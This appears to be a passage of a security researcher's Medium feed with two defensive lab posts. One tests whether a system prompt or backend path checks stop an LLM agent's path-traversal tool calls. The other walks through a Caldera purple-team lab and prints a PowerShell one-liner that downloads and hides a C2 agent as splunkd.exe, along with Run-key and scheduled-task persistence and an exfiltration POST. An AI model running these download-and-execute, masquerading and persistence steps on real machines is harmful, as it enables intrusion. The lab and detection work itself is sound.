<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Abdulkadir Sadi on Medium]]></title>
        <description><![CDATA[Stories by Abdulkadir Sadi on Medium]]></description>
        <link>https://medium.com/@abdulkadirsady?source=rss-c1e14e9a443d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Sq4LKMldz4Ckx9WufBh7og.jpeg</url>
            <title>Stories by Abdulkadir Sadi on Medium</title>
            <link>https://medium.com/@abdulkadirsady?source=rss-c1e14e9a443d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 15:31:15 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@abdulkadirsady/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[AI Security Purple Lab #01 — Agentic Path Traversal: Is a System Prompt Really a Security Control?]]></title>
            <link>https://medium.com/@abdulkadirsady/ai-security-purple-lab-01-agentic-path-traversal-is-a-system-prompt-really-a-security-control-5dc2438565bc?source=rss-c1e14e9a443d------2</link>
            <guid isPermaLink="false">https://medium.com/p/5dc2438565bc</guid>
            <category><![CDATA[artificial-intelligence]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[llm]]></category>
            <category><![CDATA[ai-security]]></category>
            <dc:creator><![CDATA[Abdulkadir Sadi]]></dc:creator>
            <pubDate>Sat, 28 Nov 2026 18:34:34 GMT</pubDate>
            <atom:updated>2026-11-28T18:34:34.676Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Exploring AI agent security through practical experiments, defensive controls, and detection engineering.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A3aw-aMN_Yaxcr7p_AdGsA.jpeg" /><figcaption><strong>AI SECURITY PURPLE LAB</strong></figcaption></figure><h3>Introduction</h3><p>Hey everyone!</p><p>Recently, I’ve been exploring AI security and how traditional application security vulnerabilities manifest themselves in modern AI systems.</p><p>As language models become capable of reading files, interacting with APIs, and executing tools, an interesting question arises:</p><p><strong>Does telling an AI model not to perform an action actually prevent that action from happening?</strong></p><p>Rather than exploring this question purely through theory, I decided to build my own research environment.</p><p>That’s how <strong>AI Security Purple Lab</strong> came to life.</p><p>Throughout this series, I’ll approach AI security from three complementary perspectives:</p><ul><li><strong>Red Team:</strong> Understanding vulnerabilities and attack surfaces.</li><li><strong>Blue Team:</strong> Designing and implementing defensive controls.</li><li><strong>Detection Engineering:</strong> Making security-relevant behavior observable and detectable.</li></ul><p>For the first module, let’s explore a familiar vulnerability in a relatively new attack surface: Path Traversal in AI agents.</p><h3>1. Understanding the Attack Surface</h3><p>Imagine an AI-powered SOC assistant designed to read security logs and summarize suspicious activities.</p><p>To perform its tasks, the model has access to a tool called read_log_file.</p><p>However, the model itself does not directly access the filesystem. It generates a structured tool call, which the application processes and executes.</p><p>The architecture can be simplified as follows:</p><p><strong>User → Agent Harness → LLM → Tool Invocation → Backend → Filesystem</strong></p><p>The result is then returned to the model through the harness.</p><p>There are several important components involved:</p><ul><li><strong>Model:</strong> Interprets requests and generates tool calls.</li><li><strong>Harness:</strong> Manages communication between the model and the application.</li><li><strong>Tool Dispatcher:</strong> Connects requested tools to application functions.</li><li><strong>Backend:</strong> Performs the actual operation and enforces resource access policies.</li></ul><p>This distinction is important because requesting an action and authorizing that action are two different things.</p><blockquote><em>A tool call is a request for an action, not an authorization to execute it.</em></blockquote><p>Path Traversal (CWE-22) occurs when an application fails to properly restrict filesystem access to an intended directory.</p><p>Introducing an LLM into the architecture does not eliminate this vulnerability. Instead, it introduces another interface through which untrusted input can reach the backend.</p><p>Model-generated tool arguments should therefore be treated as untrusted input, just like any other external input.</p><h3>2. Building the Lab</h3><p>For this experiment, I developed a small SOC log analysis assistant running entirely in a local environment.</p><p>The technology stack consists of Python, Ollama, Qwen 3.5 9B, Rich, Pytest, JSONL, and Sigma.</p><p>The lab contains two directories:</p><ul><li>sample_logs/ — Approved security log files.</li><li>lab_private/ — Restricted synthetic laboratory data.</li></ul><p>The restricted directory contains a marker file that allows us to verify whether the intended filesystem boundary has been violated. No real credentials or sensitive information are involved.</p><p>To investigate the effectiveness of different security controls, I created two backend implementations:</p><ul><li><strong>Vulnerable Backend:</strong> Does not enforce filesystem boundaries.</li><li><strong>Hardened Backend:</strong> Validates the resolved file path against the approved directory before reading it.</li></ul><p>I also created two system prompt profiles:</p><ul><li><strong>Basic Prompt:</strong> Defines the agent’s responsibilities and available tool.</li><li><strong>Secure Prompt:</strong> Introduces explicit security policies and resource access restrictions.</li></ul><p>Combining these components gives us four experimental configurations.</p><p>ExperimentBackendPromptAVulnerableBasicBVulnerableSecureCHardenedBasicDHardenedSecure</p><p>All four interactive experiments use the same model and user request.</p><h3>3. Making the Agent Observable</h3><p>While developing the lab, I realized that the agent’s final response alone was not enough to evaluate its security.</p><p>If an agent tells us that it cannot access a file, what actually happened?</p><p>Did the model refuse the request? Did the backend prevent the operation? Or was the file simply unavailable?</p><p>To answer these questions, I implemented a trace mechanism that makes communication between the model, harness, and backend visible.</p><p>Each request is associated with a unique request_id, allowing related events to be correlated throughout the execution flow.</p><p>The trace records tool invocations, backend decisions, and application responses rather than the model’s internal reasoning.</p><p>This allows us to observe not only whether an operation was prevented, but also <strong>where and why it was prevented.</strong></p><p>Let’s see how this works in practice.</p><h3>4. The Experiments</h3><h3>Experiment A — Vulnerable Backend + Basic Prompt</h3><p>We start with an intentionally vulnerable configuration.</p><p>The model operates with a basic system prompt, while the backend performs file reads without enforcing the intended directory boundary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4xR8wGa7tf-NLvwF9JCpWA.png" /><figcaption><em>Figure 1. An unrestricted backend returns synthetic data outside the approved directory.</em></figcaption></figure><p>As shown in the trace, the model generates a tool invocation, and the harness forwards it to the backend.</p><p>Since no filesystem boundary validation is performed, the restricted marker is successfully read and returned to the model:</p><p>LAB-ONLY-OUTSIDE-MARKER</p><p>The model subsequently includes the marker in its final response.</p><p>The important point here is that the underlying vulnerability is not caused by the language model itself.</p><p>The model requested an operation. The application executed it without enforcing the intended access restrictions.</p><h3>Experiment B — Vulnerable Backend + Secure Prompt</h3><p>For the second experiment, I kept the vulnerable backend unchanged and introduced a system prompt containing explicit security policies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZN5LoZjMFNdu-YJh5_nKIQ.png" /><figcaption><em>Figure 2. The model refuses the request without invoking the tool.</em></figcaption></figure><p>This time, the model recognizes that the requested file is outside the approved directory and refuses the request.</p><p>The trace records a model_no_tool_call event, meaning that the backend is never reached.</p><p>At first glance, it might appear that we have solved the security problem.</p><p>But we haven’t changed the backend at all.</p><p>The underlying vulnerability still exists. We have only observed that the model followed its security instructions during this particular execution.</p><p>System prompts can help guide model behavior, but they cannot independently guarantee resource access restrictions.</p><h3>Experiment C — Hardened Backend + Basic Prompt</h3><p>This is my favorite experiment in the module.</p><p>Instead of relying on security instructions, I returned to the basic system prompt and introduced filesystem boundary validation directly into the backend.</p><p>The hardened implementation uses Python’s pathlib mechanisms, including resolve() and is_relative_to(), to verify that the resolved target remains within the approved directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EVY8L99QkHdSP3Lz_xF95Q.png" /><figcaption><em>Figure 3. Backend-level access validation prevents the requested operation.</em></figcaption></figure><p>Just like in Experiment A, the model generates a tool invocation.</p><p>However, the backend now returns:</p><p>Access denied: outside allowed directory</p><p>The trace identifies the enforcement layer:</p><p>BLOCKED by BACKEND (path check, deterministic)</p><p>The restricted marker never reaches the model.</p><p>What makes this experiment particularly interesting is that we no longer depend on the model recognizing the security risk.</p><p>The application independently enforces its resource access policy.</p><p>The model can request an operation, but the backend decides whether that operation is permitted.</p><h3>Experiment D — Hardened Backend + Secure Prompt</h3><p>Finally, I combined both security measures.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m9OR8Rtzrl2kbh0XSuWm5A.png" /><figcaption><em>Figure 4. Model-level refusal with an independent backend security control in place.</em></figcaption></figure><p>The model refuses the request without generating a tool invocation, just as it did in Experiment B.</p><p>However, there is an important architectural difference.</p><p>An independent backend security control is now present. If the model were to generate an equivalent tool invocation, the backend validation demonstrated in Experiment C would still apply.</p><p>Although only the model-level refusal was observed in this execution, the architecture contains two complementary defensive layers.</p><p>This is a practical example of <strong>Defense in Depth</strong> in an AI agent architecture.</p><h3>5. Comparing the Results</h3><p>I also developed an automated experiment runner to compare the four configurations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KqiioEw13aSbe03C_W8rEg.png" /><figcaption><em>Figure 5. Automated comparison of model behavior and backend enforcement.</em></figcaption></figure><p>One limitation of the current runner is visible in Experiment A: it reports no detected enforcement layer while successful marker retrieval remains unconfirmed.</p><p>Therefore, the interactive traces serve as the primary evidence for the results above.</p><p>The most important comparison is between Experiments B and C.</p><p>Both prevent the disclosure of restricted data, but for fundamentally different reasons.</p><p>Experiment B depends on the model’s behavior, while Experiment C depends on an application-level security control.</p><p>This is the difference between a <strong>soft control</strong> and a <strong>hard control</strong> within the scope of our lab.</p><p>A model following a security policy is desirable. An application independently enforcing that policy is essential.</p><h3>6. Security Telemetry &amp; Detection Engineering</h3><p>Preventing an unauthorized operation is important, but from a security operations perspective, being able to observe and investigate it is equally valuable.</p><p>For this reason, I implemented structured JSONL telemetry inspired by the Elastic Common Schema (ECS).</p><p>For example, a model_no_tool_call event indicates that no tool invocation was generated. A file_access_denied event indicates that the backend rejected a file access operation.</p><p>The reason associated with that denial is equally important.</p><p>A filesystem boundary violation and an unavailable file should not be interpreted as the same security event.</p><p>Using this telemetry, I also developed an experimental Sigma rule named <strong>AI Agent Filesystem Boundary Violation</strong>.</p><p>The rule focuses on backend access denials specifically associated with filesystem boundary violations, rather than treating every unsuccessful file read as suspicious.</p><p>Additionally, five Pytest unit tests were prepared to evaluate the backend implementations independently of the language model.</p><p>The Sigma rule has not yet been validated in a production SIEM environment. Integrating AI agent telemetry into a broader security monitoring infrastructure is something I would like to explore in future modules.</p><h3>7. Final Thoughts</h3><p>What I find particularly interesting about this experiment is that the most effective security control does not require the language model to understand the vulnerability.</p><p>It requires the application to enforce its own security boundaries.</p><p>System prompts are useful for guiding model behavior, but they should not be treated as authorization mechanisms.</p><p>Main takeaways from this module are:</p><ul><li>Treat model-generated tool arguments as untrusted input.</li><li>Enforce resource access restrictions independently of model behavior.</li><li>Apply Least Privilege and Defense in Depth.</li><li>Test security controls independently of the LLM.</li><li>Make security decisions observable through structured telemetry.</li></ul><p>These experiments are limited to a single model and a controlled laboratory environment. The observed model refusals should not be generalized into security guarantees, and production implementations require additional isolation and filesystem security controls.</p><p>AI introduces new attack surfaces, but traditional cybersecurity principles remain just as relevant.</p><h3>What’s Next?</h3><p>In this module, we explored how user input reaches application functionality through model-generated tool invocations.</p><p>But what happens when the data retrieved by the agent is itself untrusted?</p><p>Would an AI-powered SOC assistant interpret instructions embedded inside a log file as data, or as instructions it should follow?</p><p>In the next module, we’ll explore <strong>Indirect Prompt Injection</strong>.</p><h3>Source Code &amp; References</h3><p>The source code, experiment configurations, telemetry implementation, tests, and Sigma rule can be found in the project’s GitHub repository.</p><p><strong>GitHub — AI Security Purple Lab</strong></p><p><a href="https://github.com/AbdulkadirSadi/ai-security-purple-lab">https://github.com/AbdulkadirSadi/ai-security-purple-lab</a></p><p>Relevant security frameworks and resources:</p><ul><li>CWE-22 — Path Traversal: <a href="https://cwe.mitre.org/data/definitions/22.html">https://cwe.mitre.org/data/definitions/22.html</a></li><li>OWASP GenAI Security Project: <a href="https://genai.owasp.org/">https://genai.owasp.org/</a></li><li>MITRE ATLAS: <a href="https://atlas.mitre.org/">https://atlas.mitre.org/</a></li><li>Sigma: <a href="https://sigmahq.io/">https://sigmahq.io/</a></li></ul><p>Thank you for reading!</p><p>I’m always open to feedback, suggestions, and different perspectives.</p><p>See you in the next module!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5dc2438565bc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building a Purple Team Lab: 12 Scenarios, MITRE ATT&CK Mapping, and Forensic Findings]]></title>
            <link>https://medium.com/@abdulkadirsady/building-a-purple-team-lab-12-scenarios-mitre-att-ck-mapping-and-forensic-findings-ebb180114e09?source=rss-c1e14e9a443d------2</link>
            <guid isPermaLink="false">https://medium.com/p/ebb180114e09</guid>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[purple-team]]></category>
            <category><![CDATA[mitre-attack]]></category>
            <dc:creator><![CDATA[Abdulkadir Sadi]]></dc:creator>
            <pubDate>Mon, 23 Nov 2026 15:15:40 GMT</pubDate>
            <atom:updated>2026-11-23T15:15:40.766Z</atom:updated>
            <content:encoded><![CDATA[<p>Imagine an attacker lands on a Windows 11 machine. They run discovery commands, set up persistence, stage some files, exfiltrate data, and wipe their tracks. Even when you have <strong>Sysmon (with SwiftOnSecurity’s config)</strong>, <strong>Velociraptor</strong>, and <strong>KAPE</strong> deployed, what actually shows up in your telemetry, what gets filtered out, and which artifact saves the day when logs come up empty?</p><p>I wanted to test this end-to-end in my own isolated lab, so I built a full Purple Team &amp; DFIR pipeline from scratch:</p><ul><li>Spun up an isolated QEMU/KVM lab with Kali Linux (Caldera + Velociraptor), a Windows 11 victim VM, and FLARE VM for deep-dive forensics.</li><li>Ran 12 benign, behavior-focused attack simulations using <strong>MITRE Caldera</strong>.</li><li>Mapped every single action to <strong>MITRE ATT&amp;CK</strong>, separating <em>what the command actually did</em> from <em>what the adversary intended to do</em>.</li><li>Correlated live triage data from <strong>Velociraptor</strong> with disk/timeline artifacts parsed via <strong>KAPE</strong> and <strong>Eric Zimmerman Tools</strong>.</li></ul><blockquote><strong><em>Disclaimer:</em></strong><em> Everything in this post was executed strictly inside my own air-gapped virtual lab. None of the commands contain malicious payloads — the goal is purely defensive engineering, telemetry validation, and DFIR practice.</em></blockquote><h3>1. Lab Architecture</h3><p>Here is how the lab is wired together:</p><ul><li><strong>Host Machine:</strong> Ubuntu 26.04 running QEMU/KVM + libvirt, managed via virt-manager.</li><li><strong>Networking:</strong> Started on the default NAT network (192.168.122.0/24) during initial setup, then switched to an <strong>isolated virtual network</strong> (no internet access) for OPSEC and clean traffic containment.</li><li><strong>C2 &amp; DFIR Server (</strong><strong>192.168.122.21):</strong> Kali Linux</li><li>MITRE Caldera: 8888/tcp</li><li>Velociraptor Frontend: 8000/tcp | Web GUI: 8889/tcp</li><li><strong>Victim VM (</strong><strong>192.168.122.213):</strong> Windows 11 (Build 26100)</li><li>Hostname: labpc | User: someone (Local Admin)</li><li>Sysmon64 (SwiftOnSecurity config)</li><li>Velociraptor Client (running as a SYSTEM service via MSI)</li><li>KAPE (C:\Tools\KAPE) &amp; active Windows Defender</li><li><strong>Forensic Workstation:</strong> FLARE VM</li><li>Eric Zimmerman Tools (EvtxECmd, PECmd, MFTECmd, RECmd, Timeline Explorer)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J4o27OJPM3Ej9CL0QeotKQ.png" /><figcaption>Image-1 (Virt-Manager Window)</figcaption></figure><h3>Why This Setup Works So Well</h3><ul><li>Hosting Caldera and Velociraptor on the same Kali box funnels all C2 traffic to a single IP address. When inspecting netstat or Sysmon Event ID 3, the destination port cleanly separates red-team traffic (8888) from blue-team management (8000).</li><li>Splitting live triage (Velociraptor) from offline artifact parsing (KAPE + FLARE VM) mirrors a real-world SOC/DFIR escalation workflow.</li></ul><h3>2. Setting Up KVM and the Windows 11 Victim VM</h3><h3>2.1 Host Preparation</h3><pre>sudo apt update<br>sudo apt install -y qemu-kvm libvirt-daemon-system libvirt-clients \<br>  bridge-utils virtinst virt-manager ovmf swtpm swtpm-tools cpu-checker<br>sudo usermod -aG libvirt,kvm $USER<br># Log out and back in, then verify:<br>kvm-ok<br>virsh net-list --all</pre><h3>2.2 Victim VM Specs</h3><ul><li><strong>Firmware:</strong> UEFI (OVMF with Secure Boot .ms.fd)</li><li><strong>TPM:</strong> Emulated CRB v2.0 (swtpm)</li><li><strong>CPU / RAM:</strong> host-passthrough, 4 vCPUs, 8 GB RAM</li><li><strong>Network:</strong> Isolated virtual network (virtio or e1000e)</li><li><strong>SPICE Guest Tools:</strong> Installed for clipboard and display scaling (which is why you’ll spot vdagent.exe in the baseline process list).</li></ul><h3>2.3 Clean Baseline Snapshot Discipline</h3><p>Once Windows 11, Sysmon, and the Velociraptor agent were configured, I took a clean snapshot (Clean-Baseline-Ready) and reverted to it before every scenario run:</p><pre>virsh snapshot-list win11-victim<br>virsh snapshot-create-as win11-victim --name Clean-Baseline-Ready<br>virsh snapshot-revert win11-victim Clean-Baseline-Ready</pre><p>Snapshot discipline is non-negotiable in a lab like this — otherwise, leftover Run keys or scheduled tasks from Scenario A will pollute your baseline diffs in Scenario B.</p><h3>3. Deploying Caldera &amp; the Sandcat Agent</h3><pre>sudo apt install -y git python3 python3-pip python3-venv golang-go nodejs npm</pre><pre>git clone <a href="https://github.com/mitre/caldera.git">https://github.com/mitre/caldera.git</a> --recursive<br>cd caldera<br>python3 -m venv .venv<br>source .venv/bin/activate<br>pip3 install -r requirements.txt</pre><pre># First run builds the Magma web UI<br>python3 server.py --insecure --build</pre><ul><li><strong>Web UI:</strong> <a href="http://192.168.122.21:8888/">http://192.168.122.21:8888</a></li><li><strong>Why Go Matters:</strong> Caldera dynamically compiles the Sandcat agent binary on the fly whenever a deployment request comes in. As we’ll see in the findings, this completely breaks static file-hash IOCs.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NZt9QLuevOFjPK49YJMaPQ.png" /><figcaption>Image-2 (Caldera Interface)</figcaption></figure><h3>3.1 Spawning the Agent on Windows 11</h3><p>From <strong>Agents → Deploy an agent → Sandcat → windows</strong>, Caldera generates a PowerShell one-liner that downloads and executes the agent in an elevated session:</p><pre>$server=&quot;http://192.168.122.21:8888&quot;;<br>$url=&quot;$server/file/download&quot;;<br>$wc=New-Object System.Net.WebClient;<br>$wc.Headers.add(&quot;platform&quot;,&quot;windows&quot;);<br>$wc.Headers.add(&quot;architecture&quot;,&quot;amd64&quot;);<br>$wc.Headers.add(&quot;file&quot;,&quot;sandcat.go&quot;);<br>$data=$wc.DownloadData($url);<br>get-process | ? {$_.modules.filename -like &quot;C:\Users\Public\splunkd.exe&quot;} | stop-process -f;<br>rm -force &quot;C:\Users\Public\splunkd.exe&quot; -ea ignore;<br>[io.file]::WriteAllBytes(&quot;C:\Users\Public\splunkd.exe&quot;,$data) | Out-Null;<br>Start-Process -FilePath C:\Users\Public\splunkd.exe -ArgumentList &quot;-server $server -group red&quot; -WindowStyle hidden;</pre><p>Notice how the binary drops to C:\Users\Public\splunkd.exe, masquerading as a legitimate Splunk service (<strong>T1036.005 — Masquerading</strong>).</p><h3>4. Velociraptor &amp; KAPE Evidence Pipeline</h3><h3>4.1 Velociraptor Server &amp; Client</h3><pre>chmod +x velociraptor-*-linux-amd64<br>mv velociraptor-*-linux-amd64 velociraptor<br>./velociraptor config generate -i<br>./velociraptor --config server.config.yaml user add admin --role administrator<br>./velociraptor --config server.config.yaml frontend -v</pre><p>I repacked the client config into the Windows MSI (velociraptor.exe config repack) and installed it silently (/qn) on the victim VM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AnegRZSl-bLptulsQ4nSlg.png" /><figcaption>Image-3 (Velociraptor Interface)</figcaption></figure><h3>4.2 Velociraptor Artifacts Used for Live Triage</h3><ul><li>Windows.System.Pslist (processes, PPIDs, command lines, Authenticode status)</li><li>Windows.Network.NetstatEnriched (active sockets mapped to processes)</li><li>Windows.Sys.StartupItems (Registry Run keys &amp; startup folders)</li><li>Windows.System.TaskScheduler (scheduled tasks and actions)</li><li>Windows.Detection.Amcache (Amcache.hve execution history)</li><li>Windows.NTFS.MFT &amp; Windows.Forensics.Usn ($MFT and $UsnJrnl:$J records)</li></ul><h3>4.3 KAPE + EZTools for Timeline Forensics</h3><p>After each scenario run, I packaged the forensic artifacts into a .vhdx image using KAPE, pulled it over via Velociraptor VFS, and parsed it on FLARE VM:</p><pre># On the Victim VM (KAPE triage collection):<br>C:\Tools\KAPE\kape.exe --tsource C: --tdest C:\Cases\Scenario_Triage --target !SANS_Triage --vhdx Scenario_Evidence</pre><pre># On FLARE VM (Parsing EVTX, Prefetch, and USN Journal):<br>EvtxECmd.exe -d &quot;E:\C\Windows\System32\winevt\Logs&quot; --csv &quot;C:\Cases\Parsed&quot; --csvf &quot;Events.csv&quot;<br>PECmd.exe -d &quot;E:\C\Windows\Prefetch&quot; --csv &quot;C:\Cases\Parsed&quot; --csvf &quot;Prefetch.csv&quot;<br>MFTECmd.exe -f &#39;E:\C\$Extend\$UsnJrnl_$J&#39; --csv &quot;C:\Cases\Parsed&quot; --csvf &quot;USN.csv&quot;</pre><h3>5. Defining Custom Abilities in Caldera</h3><p>Each simulation step lives as a custom YAML ability under /opt/caldera/data/abilities/custom-lab/. Here is <strong>A3 (Registry Run Key Persistence)</strong>:</p><pre>- id: 9a4b2c1d-8e7f-4a3b-9c2d-1e0f9a8b7c6d<br>  name: Lab Run Key Persistence<br>  description: Adds a benign test entry under HKCU Run (calc.exe)<br>  tactic: persistence<br>  technique:<br>    attack_id: T1547.001<br>    name: Registry Run Keys / Startup Folder<br>  platforms:<br>    windows:<br>      psh:<br>        command: |<br>          New-ItemProperty -Path &quot;HKCU:\Software\Microsoft\Windows\CurrentVersion\Run&quot; -Name &quot;LabTelemetryUpdater&quot; -Value &quot;C:\Windows\System32\calc.exe&quot; -PropertyType String -Force<br>        cleanup: |<br>          Remove-ItemProperty -Path &quot;HKCU:\Software\Microsoft\Windows\CurrentVersion\Run&quot; -Name &quot;LabTelemetryUpdater&quot; -ErrorAction SilentlyContinue</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pq4VSXkm094Pkhk1CcciWA.png" /><figcaption>Image-4 (Scenario Management)</figcaption></figure><h3>6. The 12 Scenarios &amp; MITRE ATT&amp;CK Mapping</h3><p>When mapping these behaviors to MITRE ATT&amp;CK, I intentionally separated <strong>what the command actually executes</strong> from <strong>what the attacker is trying to achieve</strong>. For example, listing files in a directory isn’t credential dumping — even if the attacker is hunting for passwords.</p><h3>Scenario A: Foothold &amp; Persistence</h3><ul><li><strong>A1</strong> systeminfo | findstr /B /C:&quot;OS Name&quot; ... → <strong>T1082</strong> System Information Discovery (<em>Discovery</em>)</li><li><strong>A2</strong> ipconfig /all; route print → <strong>T1016</strong> System Network Configuration Discovery (<em>Discovery</em>)</li><li><strong>A3</strong> Adding HKCU\...\Run\LabTelemetryUpdater → <strong>T1547.001</strong> Registry Run Keys / Startup Folder (<em>Persistence</em>)</li><li><strong>A4</strong> schtasks /create /tn &quot;LabHealthCheck&quot; ... → <strong>T1053.005</strong> Scheduled Task (<em>Persistence / Execution</em>)</li></ul><h3>Scenario B: Privilege, Configuration &amp; Network Discovery</h3><ul><li><strong>B1</strong> whoami /priv → <strong>T1033</strong> System Owner/User Discovery (<em>Discovery</em>) — <em>Since this only enumerates privileges without manipulating tokens, it maps to T1033 rather than T1134.</em></li><li><strong>B2</strong> Querying UAC registry keys (ConsentPromptBehaviorAdmin, EnableLUA) → <strong>T1012</strong> Query Registry (<em>Discovery</em>) — <em>Checking UAC configuration is reconnaissance, not a bypass (T1548.002).</em></li><li><strong>B3</strong> Searching C:\Windows\Panther for unattend files → Actual behavior: <strong>T1083</strong> File and Directory Discovery (<em>Discovery</em>); Adversary intent: <strong>T1552.001</strong> Credentials In Files (<em>Credential Access</em>)</li><li><strong>B4</strong> net share; net session → <strong>T1135</strong> Network Share Discovery &amp; <strong>T1049</strong> System Network Connections Discovery (<em>Discovery</em>)</li></ul><h3>Scenario C: Defense Evasion, Collection, Exfiltration &amp; Cleanup</h3><ul><li><strong>C1</strong> powershell.exe -EncodedCommand ... → <strong>T1059.001</strong> PowerShell (<em>Execution</em>) &amp; <strong>T1027.010</strong> Command Obfuscation (<em>Defense Evasion</em>)</li><li><strong>C2</strong> Creating C:\Users\Public\lab_staging + notes.txt + Compress-Archive (bundle.zip) → <strong>T1074.001</strong> Local Data Staging &amp; <strong>T1560</strong> Archive Collected Data (<em>Collection</em>)</li><li><strong>C3</strong> Invoke-WebRequest POST to http://192.168.122.21:8888/health → <strong>T1048.003</strong> Exfiltration Over Unencrypted Non-C2 Protocol (<em>Exfiltration</em>) — <em>Note: Since the target is the Caldera server itself, this also overlaps with T1071.001 / T1041.</em></li><li><strong>C4</strong> Remove-Item -Path &quot;C:\Users\Public\lab_staging&quot; -Recurse -Force → <strong>T1070.004</strong> Indicator Removal: File Deletion (<em>Defense Evasion</em>)</li></ul><p><strong>C2 Infrastructure Techniques:</strong> T1105 (Ingress Tool Transfer), T1059.001 (PowerShell), T1036.005 (Masquerading - splunkd.exe), T1071.001 (Web Protocols).</p><h3>7. Forensic &amp; Telemetry Findings</h3><h3>7.1 Watch Out for Timestamp Traps (UTC vs. Local Time)</h3><ul><li>Velociraptor and EZTools normalize filesystem timestamps to UTC (Z), while the victim VM runs on UTC+3.</li><li><strong>Proof in A4:</strong> When I passed /st 09:00 (local time) to schtasks, the task XML recorded StartBoundary as 09:00:00Z, while the filesystem Mtime showed 12:05:12Z and RegistrationTime showed 15:05:12Z. Always verify whether an artifact field stores UTC or local time before building a timeline.</li></ul><h3>7.2 Hunting the Agent &amp; Catching an Orphan Process (splunkd.exe)</h3><p>From Windows.System.Pslist and Sysmon Event ID 1:</p><ul><li><strong>Process Tree:</strong> explorer.exe → powershell.exe → splunkd.exe (PID: 5636)</li><li><strong>Command Line:</strong> &quot;C:\Users\Public\splunkd.exe&quot; -server http://192.168.122.21:8888 -group red</li><li><strong>Context &amp; Signature:</strong> labpc\someone (TokenIsElevated = True), Authenticode = untrusted</li><li><strong>Orphan Process Trail:</strong> Once I closed the initial PowerShell window used to launch the agent, splunkd.exe&#39;s parent (PPID: 204) vanished from the live process table—a classic indicator that the initial access shell was terminated.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iSA2vbJVZC22XQto5_ySCg.png" /><figcaption>Image-5 (Exploring Splunkd)</figcaption></figure><p>Three key takeaways here:</p><ol><li><strong>Dynamic Compilation Breaks Hash IOCs:</strong> Because Caldera recompiles Sandcat on every download, the SHA256 hash of splunkd.exe changed between sessions (da13886... vs 6770125...). Detection rules must focus on <strong>name-path mismatch</strong> (legitimate Splunk runs from Program Files\Splunk\bin, never C:\Users\Public\) and unsigned execution.</li><li><strong>NTFS File System Tunneling:</strong> In $MFT, splunkd.exe showed Created0x10 as 2026-11-19 17:58:37Z even though LastModified0x10 was 2026-11-20 09:11:20Z. When a file is deleted and recreated with the same name within a short window, NTFS preserves the original creation timestamp. Never rely on Created alone to determine when a binary dropped.</li></ol><h3>7.3 A1 &amp; A2: Ephemeral Discovery Processes &amp; Prefetch Correlation</h3><p>systeminfo.exe, findstr.exe, ipconfig.exe, and route.exe execute and exit in milliseconds, so they never appear in live Pslist snapshots.</p><p><strong>The persistent proof lives in Prefetch (</strong><strong>PECmd Timeline):</strong></p><ul><li>POWERSHELL.EXE &amp; SYSTEMINFO.EXE execution (Run Time): <strong>2026-11-20 12:02:37Z</strong></li><li>FINDSTR.EXE execution (Run Time): <strong>2026-11-20 12:02:41Z</strong></li><li>That 4-second gap reflects systeminfo.exe gathering host details before piping (|) its output into findstr.exe—confirming the exact execution chain even after both processes vanished from live memory.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qE7s32E5ffkFds1nf3VgbA.png" /><figcaption>Image-6 (Prefetch Result)</figcaption></figure><h3>7.4 A3: Registry Run Key &amp; the RunNotification Side Effect</h3><p>Diffing Windows.Sys.StartupItems revealed two new entries:</p><ol><li>HKEY_USERS\S-1-5-21-...-1001\Software\Microsoft\Windows\CurrentVersion\Run\LabTelemetryUpdater → C:\Windows\System32\calc.exe</li><li>...\CurrentVersion\RunNotification\StartupTNotiLabTelemetryUpdater → 1</li></ol><p>Windows 11’s “new startup app” notification subsystem automatically writes a companion RunNotification\StartupTNoti* value whenever a Run key is added—giving threat hunters a great secondary pivot. Also, because the target binary (calc.exe) is Microsoft-signed, rules looking only for unsigned binaries will miss this; look for name-to-target mismatches instead.</p><h3>7.5 A4: Scheduled Tasks &amp; Verifying Cleanup</h3><ul><li>C:\Windows\System32\Tasks\LabHealthCheck (3,486 bytes, 10:15:18.194Z) appeared just <strong>18 ms</strong> before SCHTASKS.EXE-8B6144A9.pf (10:15:18.212Z).</li><li>Checking $MFT after the operation showed LabHealthCheck was still on disk—Caldera&#39;s cleanup block didn&#39;t trigger automatically because the operation wasn&#39;t closed with cleanup enabled. Always verify lab cleanup manually.</li></ul><h3>7.6 B1–B4: Read-Only Discovery &amp; the net.exe → net1.exe Pair</h3><ul><li>whoami /priv, UAC registry queries, and Panther directory searches don&#39;t write files, leaving traces only in <strong>Sysmon Event ID 1</strong>, <strong>PowerShell ScriptBlock Logging (Event ID 4104)</strong>, and <strong>Prefetch</strong> (remember: Amcache records 